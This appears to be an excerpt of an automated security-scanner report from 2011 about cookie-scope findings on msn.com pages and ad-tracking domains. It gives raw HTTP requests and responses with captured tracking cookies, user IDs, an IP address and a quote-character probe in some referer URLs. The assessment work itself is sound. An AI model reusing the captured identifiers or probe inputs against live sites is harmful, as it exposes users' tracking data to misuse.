GET /A-List/Entertainment/Ozzy-cancels-Reno-show.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:49 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA56 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=dc5ede9cf01f4a1d8f38f66ec7f0ee46; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=366EF7F6FBC54B3EAB190688EB1E8AD7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:47 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 16343
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/African-American-History.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:42 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=e1af1217f0b44161824e573249566413; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D1B618A0FF6A47629CB585CEFDE91753; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:42 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17190
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Best-home-remedies.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:46 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA56 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=ffb0ad538e584c5ba09fbbb9e9181fc9; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=C82C0F468D0147E1BC70C15DCFD78642; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:46 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17154
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/January-2011-quotes-of-the-month.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:46 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=68f08c2708d64e29be8348cbb961e750; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=9F16C447874D438CB21CE2DD3C818D30; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:46 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17238
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Man-jailed-for-defecating-in-store.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:44 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA56 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=049adc0a2f954bcdae024e6512e78500; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A6C7330F7D414E7A9C40DFAA3A85381F; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:44 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17250
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Monk-charged-under-anti-smoking-law.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:44 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA50 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=8d84d7479cf84091870cb3dce77d6db2; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A675B0FE00124BA682A85CAD9ED64F43; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:44 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17256
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/No-bail-for-mom-who-killed-kids.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:45 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=317c8099fa3e4490afcb903b3fe5bbba; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=E96C99ED5C4A494298EF441C47EDA3C2; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:45 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17268
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Police-break-up-fight-at-N.C.-church.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:45 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=ec4f555d8e624b82a3d84cc2ec546076; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=22BC3CB70C554EF0BD773636DE0E5BF8; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:45 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17262
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Sled-dogs-slaughtered.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:45 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=d0fb5b01c3b841a8918659fa068cda64; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=E80A5234DFEE4ED5BC4DFFA52099EB73; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:45 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17176
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Teens-arrested-in-kidnapping-assault.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:43 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA54 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=61a54a39f746415393b8f1d36e745375; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=5884B61259D8400AAD004671E5FA168C; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:43 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17266
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /IEIncreaseFont_preview.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:42 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=20824d93a5554284a5a17448fb79a5b8; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=E05C380373A7429F93DA9DA49BC1BAD1; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:42 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /alphabet.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:41:26 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA54 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=3c3f37d8deb548dc89c09dac5c3d402b; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=B6BA7A76CD8F4E79AD3497DBAAB626A5; domain=.msn.com; expires=Sun, 21-Aug-2011 15:41:26 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 25427
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-gb" lang="en-gb" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sync/img HTTP/1.1 Host: sync.mathtag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: mt2/1.2.3.967 Oct 13 2010-13:40:24 ewr-pixel-n1a pid 0x12c2 4802 Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Date: Wed, 02 Feb 2011 15:42:09 GMT Location: http://sync.mathtag.com/sync/img?mm_bnc Etag: 4d497b51-ab59-519e-20fe-d56be81950af Connection: close Set-Cookie: uuid=4d497b51-ab59-519e-20fe-d56be81950af; domain=.mathtag.com; path=/; expires=Thu, 02-Feb-2012 15:42:09 GMT Set-Cookie: ts=1296661329; domain=.mathtag.com; path=/; expires=Thu, 02-Feb-2012 15:42:09 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/1463?ret=pp&_bkt=3&_bks=RMDhBtDtjMQ= HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJyE8VBQrsg+f1F/G1gnywedoutxBRZBQKWJA1UsT16nREW00wcOVcK9R+Ijp/WLuSOR3gTVA9D9U19xnx==; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCxhSbwgwfJuNrLbgAjcW6RsvELmqx2eBcBdfw0T0U4o9Hfs9NupXHyt8uO/zgeittavDQ2DeZe/9wW4e4PD3jjcB7tNF42Kb47a5Zc1RaDVaA01OpXWzC8sAU24bebUlPjK6GZj2Mebc0QKZRsn3ebJ4m2zpx+xnSOlmwRy9YZD8Gjsn8Mz5zrLn8uSySsaE4UzDttHnq73gDpla6x2xUtxxyQAdXYN5F1NacALxvojIOkRJOBRsH/N5KYZCX9BNXSf9XxYeJQ5kokiI8F5cXLR9vjdXumQucZBtzr9J0qGo9=; bk=4uX9rLUR22QsHNJo; bkc=KJh5N1+nsNWDOFeFJAqEwnYuHVNnacpWN/tYxZpaZrOYVyCPvaja+vDNTW/DP0b3WDHWNcPlGxUaHzWvqLu3i2YdGmevqQxHYin5I9eHKLdAlgZKr87Chlp7pcerRURexaWKmJhbkHR953DU3gQciTy4uBB2GqpEXU4Ndeg0nmNejJqzmLI2+VDX/GFV0GOzjT5EENbNEwt6Xdn0TyAydfA2fzPBvU7e1rVNvXJ9Ubl95MRoFHTQ7Xq9Ec7+aKZKjGcRjYG5yimx1fUzkBKKXxmIrWYkBc64KU1zpOrV3P8frSEQzpAweXTIA+rcrJmVG2wsS6cQCPdQd2XtohI8hEnNN8qMhfM6XEtwVCb6n/de5zRccnye4F28fgGXpWlNtrWxzw+xTaztT430ZJF0tZdk4mgcQnWjTfCk0ZFl3r22G8hPf8dysQ2qFrGpfFzVXMX2YU7IcL5pDKbFE5p4n9dWCm+dSFIww/UI8mTQ+dKzKfkWrY8P8lPTpbIqrWXrrYBwCKLwSF2F5hgk4CuzVpvst+IHC7G7E6T+zCdDYmS2sw4MmrfVJcKU8KCfTf0SElVZ0FUn/czGq6pdk2xL2bz8fF6Fh75PN1LK; bkst=KJhMR5Mehx9W+0LX4PAReQcjvQhsaCSJaZRZjg3VvRRsrijJ8AZbuzRoSqGoiHRZhLqs8oSVSKqvSDo92HK9b+AjuFm0XdnnXl0RpRaYcTOYyQyZOiRZHZRVOARZoCSskrjZhARVe8k96FpzRBF9qa2rJBtfyD/+ZWJnQDnue1bmgLsrgrsIdQPKlrqrXuckKPsPHKVKrAUOJF24tQvPX4v9fEDl1pYhBnv6+ex0BnRy1exlBM8uepJaMoKOQRzClz6NtSr36eAgyiFgypX7GcQFDa0eGEypJPfUWmQpYyBEWNwMKJ1DW6Bp/01MulmMoWxEwVOQZJoSVagRg0Nl29D9mRNJwQ==; bkdc=res
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 15:43:39 GMT P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml" Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Cache-Control: max-age=0, no-cache, no-store Set-Cookie: bk=VjPsezUR22QsHNJo; expires=Mon, 01-Aug-2011 15:43:39 GMT; path=/; domain=.bluekai.com Set-Cookie: bkc=KJh5N1+nsNWDOFeFJLjUW3hAGVtJQ3to5SmQGaSLYufDx3hYXPsAV+u9YNazaSosWOcHggrEaiGrOOPzvsNNW4ynOaKbWDoOWccM9XEcwjBf8lgrjGR4X86fypZct4/Orpl9b+4Vr9YyJ5lZ8IfB1wbqYtuAQ11Fh71klJEUposZINhCLIBP24yZ2egrxtiSUednFqkowYunkFmOoKRZo8fX0pv5o8tukdP7ymhWR20ntpp0ZZUvShzaQK8uQKNAPcGkklyS9Ewk+q2J5NxnH1jMXx9vxWbDzkBKK0GqXJDJaWFE28WlHLsXjo73+HKp6gbxd4eQq/ezI/AfSMAXSqyLjdAZVIeIo1W8MNhgZzfUkrlc3wudHhbtls+jMLBNxrfnxHKy4NE7rMe/E4USyxOy26HQnN7MIi3EZdnSctHd0AK9Au7M1LrDNI8Dld+KmS7KwIRNfgBXlVlzT6l7dlC38wy2MZ4YleI3rc2SdCQHgLdPdC2f6rKEtdlzlQFrhupCmAdBbdYHlNPhdfdAeM6UgMIgdqdfUu7l/ItkOVmGdHt3vc408BQX2XanyqyETUfbigLI0+Nim5hF7an2KjWGz4lVphN/s5wdJEqBwEMeF4F5I9WLRBHj; expires=Mon, 01-Aug-2011 15:43:39 GMT; path=/; domain=.bluekai.com Set-Cookie: bkdc=res; expires=Thu, 03-Feb-2011 15:43:39 GMT; path=/; domain=.bluekai.com BK-Server: a96f Content-Length: 62 Content-Type: image/gif Connection: keep-alive
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2748?redir=http%3A%2F%2Fsegment-pixel.invitemedia.com%2Fset_partner_uid%3FpartnerID%3D84%26partnerUID%3D%24_BK_UUID%26sscs_active%3D1 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://pixel.invitemedia.com/data_sync?partner_id=219 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEny79O3Jb5GExFm0Idw1IctHyG29WGJ1hQRZOiRZHZRVOARZoCSskrjZhAXj9JJ1lwpx9W+XaLUtTAlqFOxitRxArOx+/1pGbrySbrTqfIOPfK8rfh/KP8DjPa8jbbHzWZdNdS9oUhXGe+BEzp1nW6Lgu6Be/6+M9yBeztwk/w1AVmkTsOC0c5pEUj3bgxmuFYvIFew0KQKY2xU/mCwe1kU+zxbe1n9N1EDIBTAhxExl1M/0BnzbmAHO12RsYRZkoRV+iFnU46Ox9unDSn; bko=KJyE8VBQrsg+f1F/G1gnywedoutxBRZBQKWJA1UsT16nREW00wcOVcK9R+Ijp/WLuSOR3gTVA9D9U19xnx==; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCxhSbwgwfJuNrLbgAjcW6RsvELmqx2eBcBdfw0T0U4o9Hfs9NupXHyt8uO/zgeittavDQ2DeZe/9wW4e4PD3jjcB7tNF42Kb47a5Zc1RaDVaA01OpXWzC8sAU24bebUlPjK6GZj2Mebc0QKZRsn3ebJ4m2zpx+xnSOlmwRy9YZD8Gjsn8Mz5zrLn8uSySsaE4UzDttHnq73gDpla6x2xUtxxyQAdXYN5F1NacALxvojIOkRJOBRsH/N5KYZCX9BNXSf9XxYeJQ5kokiI8F5cXLR9vjdXumQucZBtzr9J0qGo9=; bk=tkrgLXUR22QsHNJo; bkc=KJh56XInDkWDOdeFNVpXix6rhQo7GB/hByDmVWZo+c9/o9ZinvHoZOHZ1Hi+jNxxizMVfSxQSHaRTYRSoGU1UhYT3A6yOWaWs0LRhggc2IBbfrRIw7emK4K5z8fcYyQ9MXw89MlnXrMm9olXP5rFBJKmv9dAX4RW6BgvaJyTeJJfZi7KXCrFTRwxtR/nGxR8lKnr28U7969hvFYI7oU8gflAcpWyDplnpbHFn97WcrDv4L0OU/k0DfpkZC+yhxDVomkf0mI3Rm8oo7pnfH7e/lk4OlbrApwlrnmS/2FvUH2y0ulyfdFkuEl0OzNDlfJLebguINwK6apun157rI/YCgKOENXrtQTcrY74zL9wM/XJfBPE+FXz8SjT0p5k4hvqysjBmSbjTil41r2flUE54w2eodv38g2a8E+m/lfcAjnp56pzMcYducvdNcylJZpd1F4p3XmGENfhzE+clm6jRE+GprFpkvXkrqd28Qb5anqUpw2kdmsXl9de7S4v1wKl4YThiu47779wpyMZlHMlXDUr5JjfVUwAFFn9f1do0i7qPlpzdGs0HpgUTcfx8wfTUwAd0kEOwy==
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /track/track.aspx?ROIID=936138107000019 HTTP/1.1 Host: track.roiservice.com Proxy-Connection: keep-alive Referer: http://www.millenniumhotels.com/millenniumboston/index.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: msid938956107000029=06dd214c75b14fd39004a5e41502868d
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:25:53 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP NID PSA ADM OUR IND NAV COM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: msid936138107000019=a2cc436f07764ff0bdfc512bb07215f0; domain=.roiservice.com; expires=Sat, 01-Feb-2031 15:25:53 GMT; path=/ Set-Cookie: GTT936138107000019=a2cc436f07764ff0bdfc512bb07215f0; domain=.roiservice.com; path=/ Cache-Control: private Content-Type: text/javascript; charset=utf-8 Content-Length: 1628
var ROIID='936138107000019';var sn = 'a2cc436f07764ff0bdfc512bb07215f0';var dm=null;var gt_url = '';var gt_cid= '';var xDate=new Date();xDate.setFullYear(xDate.getFullYear() + 1);function au(nm, vl){g ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
v1st=3E5A3F6BE25E0C21; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.tree.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /trk/npv-event.gif?Log=1&dt=1296661472896&ns=tree&type=NPV&eventCat=Fossa&eventAction=view&eventLabel=undefined%3Aundefined&eventValue=&screen=1920x1200-16&version=0.9&url=http%3A%2F%2Foffers.lendingtree.com%2Fsplitter%2Fsplitter.ashx%3Fid%3Dmsnhptext12111%26promo%3D00313%26source%3D4666360%26esourceid%3D4666360%26800Num%3D1-800-289-1731'%26adtype%3D2&sn=serverName&_tsid=5d91cf81-64dd-4122-b722-209783712fb4&_tcid=99ececb2-b7d7-493d-8c9a-dc1b0ea28b4b&author=unset&partnerkey=&convid=&isconv=false&ip=173.193.214.243&convname= HTTP/1.1 Host: tracking.tree.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: t_lftm=v=1&id=suzsmde3PUmMmtwbDqKLSw--&bd=2011-02-02 15:43:54Z; t_svis=rfr=http%3a%2f%2foffers.lendingtree.com%2fsplitter%2fsplitter.ashx%3fid%3dmsnhptext12111%26promo%3d00313%26source%3d4666360%26esourceid%3d4666360%26800Num%3d1-800-289-1731%27%26adtype%3d2&adpk=&adcc=&adcm=&adcn=&adct=&adpxl=&adtype=2&id=gc+RXd1kIkG3IiCXg3EvtA--&v=4&cnt=1
Response
